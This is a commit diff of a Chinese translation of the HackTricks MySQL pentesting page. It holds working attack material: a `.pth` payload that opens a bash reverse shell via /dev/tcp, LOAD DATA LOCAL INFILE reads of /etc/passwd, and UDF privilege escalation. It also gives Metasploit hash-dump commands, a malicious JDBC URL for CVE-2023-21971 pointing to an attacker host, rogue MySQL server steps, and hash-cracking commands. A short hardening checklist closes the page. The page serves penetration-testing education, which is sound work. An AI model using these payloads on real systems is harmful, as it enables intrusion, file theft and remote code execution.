mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to zh
This commit is contained in:
parent
9635c15eff
commit
912d368d35
@ -115,7 +115,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
|
||||
1. 使用 `INTO OUTFILE` 在 `site.py` 自动加载的任何目录中放置自定义 **`.pth`** 文件(例如 `.../lib/python3.10/site-packages/`)。
|
||||
2. `.pth` 文件可以包含以 `import ` 开头的 *单行*,后面跟随任意 Python 代码,每次解释器启动时都会执行。
|
||||
3. 当解释器被 CGI 脚本隐式执行时(例如 `/cgi-bin/ml-draw.py`,shebang 为 `#!/bin/python`),有效载荷将以与 web 服务器进程相同的权限执行(FortiWeb 以 **root** 身份运行它 → 完全的预认证 RCE)。
|
||||
3. 当解释器通过 CGI 脚本隐式执行时(例如 `/cgi-bin/ml-draw.py`,shebang 为 `#!/bin/python`),有效载荷将以与 web 服务器进程相同的权限执行(FortiWeb 以 **root** 身份运行它 → 完全的预认证 RCE)。
|
||||
|
||||
示例 `.pth` 有效载荷(单行,最终 SQL 有效载荷中不能包含空格,因此可能需要使用 hex/`UNHEX()` 或字符串连接):
|
||||
```python
|
||||
@ -129,7 +129,7 @@ import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10
|
||||
|
||||
* `INTO OUTFILE` **不能覆盖** 已存在的文件;选择一个新文件名。
|
||||
* 文件路径是 **相对于 MySQL 的当前工作目录** 解析的,因此在前面加上 `../../` 有助于缩短路径并绕过绝对路径限制。
|
||||
* 如果攻击者输入通过 `%128s`(或类似方式)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
|
||||
* 如果攻击者输入使用 `%128s`(或类似)提取,任何空格都会截断有效负载;使用 MySQL 注释序列 `/**/` 或 `/*!*/` 来替换空格。
|
||||
* 运行查询的 MySQL 用户需要 `FILE` 权限,但在许多设备(例如 FortiWeb)中,服务以 **root** 身份运行,几乎在任何地方都可以写入。
|
||||
|
||||
在删除 `.pth` 后,只需请求任何由 Python 解释器处理的 CGI 以获取代码执行:
|
||||
@ -146,15 +146,15 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL 任意读取客户端文件
|
||||
## MySQL 客户端任意读取文件
|
||||
|
||||
实际上,当你尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取** 并发送内容。**然后,如果你可以篡改一个 mysql 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\
|
||||
请注意,这是使用的行为:
|
||||
实际上,当你尝试 **将本地数据加载到表中** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取文件** 并发送内容。 **因此,如果你可以篡改 MySQL 客户端以连接到你自己的 MySQL 服务器,你就可以读取任意文件。**\
|
||||
请注意,这是使用以下方式的行为:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(注意“local”这个词)\
|
||||
因为没有“local”,你可能会得到:
|
||||
因为没有“local”你可能会得到:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
@ -185,7 +185,7 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
|
||||
- **`password`** 用于建立与 MySQL 用户相关联的密码。
|
||||
- **`admin_address`** 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
|
||||
- **`debug`** 变量指示当前的调试配置,包括日志中的敏感信息。
|
||||
- **`sql_warnings`** 管理在出现警告时是否为单行 INSERT 语句生成信息字符串,日志中包含敏感数据。
|
||||
- **`sql_warnings`** 管理在出现警告时,是否为单行 INSERT 语句生成信息字符串,这些字符串可能包含日志中的敏感数据。
|
||||
- 使用 **`secure_file_priv`**,数据导入和导出操作的范围受到限制,以增强安全性。
|
||||
|
||||
### 权限提升
|
||||
@ -208,7 +208,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### 特权提升通过库
|
||||
|
||||
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个 **库**,该库用于运行 mysql 的操作系统。
|
||||
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您将需要一个 **库**,该库用于运行 mysql 的操作系统。
|
||||
|
||||
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。
|
||||
|
||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 参考
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
## 2023-2025 亮点 (新)
|
||||
|
||||
### JDBC `propertiesTransform` 反序列化 (CVE-2023-21971)
|
||||
从 Connector/J <= 8.0.32 开始,攻击者如果能够影响 **JDBC URL**(例如在要求连接字符串的第三方软件中),可以通过 `propertiesTransform` 参数请求在 *客户端* 加载任意类。如果类路径中存在可加载的 gadget,这将导致 **在 JDBC 客户端上下文中远程代码执行**(预认证,因为不需要有效凭据)。一个最小的 PoC 看起来像:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
运行 `Evil.class` 可以像将其放置在易受攻击应用程序的类路径上或让一个恶意的 MySQL 服务器发送一个恶意的序列化对象一样简单。此问题已在 Connector/J 8.0.33 中修复 - 升级驱动程序或明确在允许列表上设置 `propertiesTransform`。
|
||||
(有关详细信息,请参见 Snyk 的文章)
|
||||
|
||||
### 针对 JDBC 客户端的恶意 / 虚假 MySQL 服务器攻击
|
||||
几个开源工具实现了 *部分* MySQL 协议,以攻击连接到外部的 JDBC 客户端:
|
||||
|
||||
* **mysql-fake-server** (Java,支持文件读取和反序列化漏洞)
|
||||
* **rogue_mysql_server** (Python,具有类似功能)
|
||||
|
||||
典型攻击路径:
|
||||
|
||||
1. 受害者应用程序加载 `mysql-connector-j`,并将 `allowLoadLocalInfile=true` 或 `autoDeserialize=true`。
|
||||
2. 攻击者控制 DNS / 主机条目,使数据库的主机名解析到他们控制的机器上。
|
||||
3. 恶意服务器以触发 `LOCAL INFILE` 任意文件读取或 Java 反序列化 → RCE 的方式响应构造的包。
|
||||
|
||||
启动虚假服务器的示例一行命令 (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
然后将受害者应用程序指向 `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true`,并通过在 *username* 字段中将文件名编码为 base64 来读取 `/etc/passwd`(`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)。
|
||||
|
||||
### 破解 `caching_sha2_password` 哈希
|
||||
MySQL ≥ 8.0 将密码哈希存储为 **`$mysql-sha2$`**(SHA-256)。Hashcat(模式 **21100**)和 John-the-Ripper(`--format=mysql-sha2`)自 2023 年以来支持离线破解。转储 `authentication_string` 列并直接输入:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
# Hashcat
|
||||
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### 加固检查清单 (2025)
|
||||
• 设置 **`LOCAL_INFILE=0`** 和 **`--secure-file-priv=/var/empty`** 以杀死大多数文件读取/写入原语。
|
||||
• 从应用程序帐户中移除 **`FILE`** 权限。
|
||||
• 在 Connector/J 上设置 `allowLoadLocalInfile=false`,`allowUrlInLocalInfile=false`,`autoDeserialize=false`,`propertiesTransform=`(空)。
|
||||
• 禁用未使用的身份验证插件并 **要求 TLS**(`require_secure_transport = ON`)。
|
||||
• 监控 `CREATE FUNCTION`,`INSTALL COMPONENT`,`INTO OUTFILE`,`LOAD DATA LOCAL` 和突发的 `SET GLOBAL` 语句。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user